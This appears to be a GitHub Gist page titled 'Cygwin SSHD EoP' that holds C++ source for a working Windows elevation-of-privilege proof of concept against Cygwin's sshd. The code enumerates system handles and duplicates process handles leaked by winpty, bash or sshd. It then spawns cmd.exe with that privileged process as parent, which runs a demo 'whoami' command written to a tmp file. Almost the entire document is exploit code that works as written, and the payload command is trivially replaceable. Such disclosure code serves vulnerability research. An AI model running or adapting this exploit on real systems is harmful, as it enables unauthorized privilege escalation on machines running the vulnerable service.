Created
January 21, 2019 07:54
-
-
Save masthoon/6435384f8ee6c4dae25f263977347732 to your computer and use it in GitHub Desktop.
Cygwin SSHD EoP
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// CygEOP.cpp : Defines the entry point for the console application. | |
// | |
#include "stdafx.h" | |
#include <Windows.h> | |
#include <psapi.h> | |
#pragma comment(lib, "ntdll.lib") | |
#define STATUS_SUCCESS 0 | |
#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004 | |
typedef enum _OBJECT_INFORMATION_CLASS { | |
ObjectBasicInformation, | |
ObjectTypeInformation = 2 | |
} OBJECT_INFORMATION_CLASS; | |
typedef enum _SYSTEM_INFORMATION_CLASS | |
{ | |
SystemBasicInformation = 0, | |
SystemPerformanceInformation = 2, | |
SystemTimeOfDayInformation = 3, | |
SystemPathInformation = 4, | |
SystemProcessInformation = 5, | |
SystemCallCountInformation = 6, | |
SystemDeviceInformation = 7, | |
SystemProcessorPerformanceInformation = 8, | |
SystemFlagsInformation = 9, | |
SystemCallTimeInformation = 10, | |
SystemModuleInformation = 11, | |
SystemLocksInformation = 12, | |
SystemStackTraceInformation = 13, | |
SystemPagedPoolInformation = 14, | |
SystemNonPagedPoolInformation = 15, | |
SystemHandleInformation = 16, | |
SystemObjectInformation = 17 | |
} SYSTEM_INFORMATION_CLASS; | |
typedef struct _PUBLIC_OBJECT_BASIC_INFORMATION { | |
ULONG Attributes; | |
ACCESS_MASK GrantedAccess; | |
ULONG HandleCount; | |
ULONG PointerCount; | |
ULONG Reserved[10]; | |
} PUBLIC_OBJECT_BASIC_INFORMATION, *PPUBLIC_OBJECT_BASIC_INFORMATION; | |
typedef struct _UNICODE_STRING { | |
USHORT Length; | |
USHORT MaximumLength; | |
PWSTR Buffer; | |
} UNICODE_STRING, *PUNICODE_STRING; | |
typedef struct __PUBLIC_OBJECT_TYPE_INFORMATION { | |
UNICODE_STRING TypeName; | |
ULONG Reserved[22]; | |
} PUBLIC_OBJECT_TYPE_INFORMATION, *PPUBLIC_OBJECT_TYPE_INFORMATION; | |
typedef struct _SYSTEM_HANDLE | |
{ | |
ULONG ProcessId; | |
BYTE ObjectTypeNumber; | |
BYTE Flags; | |
WORD Handle; | |
PVOID Object; | |
ACCESS_MASK GrantedAccess; | |
} SYSTEM_HANDLE, *PSYSTEM_HANDLE; | |
typedef struct _SYSTEM_HANDLE_INFORMATION | |
{ | |
ULONG HandleCount; | |
SYSTEM_HANDLE Handles[1]; | |
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; | |
extern "C" NTSYSCALLAPI NTSTATUS NtQueryObject( | |
HANDLE ObjectHandle, | |
OBJECT_INFORMATION_CLASS ObjectInformationClass, | |
PVOID ObjectInformation, | |
ULONG ObjectInformationLength, | |
PULONG ReturnLength | |
); | |
extern "C" NTSYSCALLAPI NTSTATUS NtQuerySystemInformation( | |
SYSTEM_INFORMATION_CLASS SystemInformationClass, | |
PVOID SystemInformation, | |
ULONG SystemInformationLength, | |
PULONG ReturnLength | |
); | |
PVOID zalloc(ULONG size) { | |
return HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size); | |
} | |
PVOID zrealloc(PVOID mem, ULONG newSize) { | |
return HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, mem, newSize); | |
} | |
void zfree(PVOID mem) { | |
HeapFree(GetProcessHeap(), 0, mem); | |
} | |
HANDLE SpawnProcessWithParentHandle(WCHAR* commandLine, HANDLE parentProcess) { | |
STARTUPINFOEX sie = { 0 }; | |
SIZE_T size = 0; | |
PROCESS_INFORMATION pi = { 0 }; | |
HANDLE processHandle = parentProcess; | |
sie.StartupInfo.cb = sizeof(STARTUPINFOEX); | |
InitializeProcThreadAttributeList(NULL, 1, 0, &size); | |
sie.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)calloc(1, size); | |
InitializeProcThreadAttributeList(sie.lpAttributeList, 1, 0, &size); | |
UpdateProcThreadAttribute(sie.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &processHandle, sizeof(HANDLE), 0, NULL); | |
SIZE_T rawSize = (wcslen(commandLine) + 1) * sizeof(WCHAR); | |
LPTSTR cmdLine = (LPTSTR)zalloc(rawSize); | |
memcpy(cmdLine, commandLine, rawSize); | |
if (0 == CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, &sie.StartupInfo, &pi)) { | |
printf("Failed CreateProcessW %x\n", GetLastError()); | |
} | |
zfree(cmdLine); | |
// TODO: Close handles | |
return pi.hProcess; | |
} | |
BOOLEAN isProcessHandle(char* process, HANDLE h) { | |
PPUBLIC_OBJECT_TYPE_INFORMATION objectTypeInfo = (PPUBLIC_OBJECT_TYPE_INFORMATION)zalloc(sizeof(PUBLIC_OBJECT_TYPE_INFORMATION)); | |
ULONG sizeNeeded = 0; | |
if (STATUS_INFO_LENGTH_MISMATCH == NtQueryObject( | |
h, | |
ObjectTypeInformation, | |
objectTypeInfo, | |
sizeof(PUBLIC_OBJECT_TYPE_INFORMATION), | |
&sizeNeeded | |
)) { | |
if (sizeNeeded == 0) { | |
sizeNeeded = sizeof(PUBLIC_OBJECT_TYPE_INFORMATION); | |
} | |
objectTypeInfo = (PPUBLIC_OBJECT_TYPE_INFORMATION)zrealloc(objectTypeInfo, sizeNeeded); | |
if (STATUS_SUCCESS == NtQueryObject( | |
h, | |
ObjectTypeInformation, | |
objectTypeInfo, | |
sizeNeeded, | |
NULL | |
)) { | |
if (objectTypeInfo->TypeName.Buffer == NULL) { | |
return false; | |
} | |
printf("PROCESS: %s HANDLE: %x TYPE:%S\n", strrchr(process, '\\'), h, objectTypeInfo->TypeName.Buffer); | |
if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) { | |
return true; | |
} | |
} | |
} | |
zfree(objectTypeInfo); | |
return false; | |
} | |
char* GetProcessName(DWORD pid) { | |
HANDLE process = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, 0, pid); | |
char * filename = (char*)zalloc(0x1000); | |
GetProcessImageFileNameA(process, filename, 1000); | |
CloseHandle(process); | |
return filename; | |
} | |
void ListProcessHandleAndSpawnCommand() { | |
ULONG handleInfoSize = 0x10000; | |
PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)zalloc(handleInfoSize); | |
/* NtQuerySystemInformation won't give us the correct buffer size, so we guess by doubling the buffer size. */ | |
while (STATUS_INFO_LENGTH_MISMATCH == NtQuerySystemInformation( | |
SystemHandleInformation, | |
handleInfo, | |
handleInfoSize, | |
NULL | |
)) { | |
handleInfo = (PSYSTEM_HANDLE_INFORMATION)zrealloc(handleInfo, handleInfoSize *= 2); | |
} | |
for (ULONG i = 0; i < handleInfo->HandleCount; i++) { | |
SYSTEM_HANDLE handle = handleInfo->Handles[i]; | |
char* name = GetProcessName(handle.ProcessId); | |
if (strstr(name, "winpty") != NULL || strstr(name, "bash") != NULL || strstr(name, "sshd") != NULL) { | |
HANDLE process = OpenProcess(PROCESS_DUP_HANDLE, 0, handle.ProcessId); | |
HANDLE localHandle = 0; | |
if (DuplicateHandle(process, (HANDLE)handle.Handle, GetCurrentProcess(), &localHandle, 0, 0, DUPLICATE_SAME_ACCESS)) { | |
if (isProcessHandle(name, localHandle)) { | |
printf("Found process handle in %s\n", name); | |
SpawnProcessWithParentHandle(L"C:\\Windows\\System32\\cmd.exe /C \"whoami >> C:\\cygwin64\\tmp\\abc\"", localHandle); | |
} | |
CloseHandle(localHandle); | |
} | |
CloseHandle(process); | |
} | |
zfree(name); | |
} | |
zfree(handleInfo); | |
} | |
int main() | |
{ | |
ListProcessHandleAndSpawnCommand(); | |
return 0; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment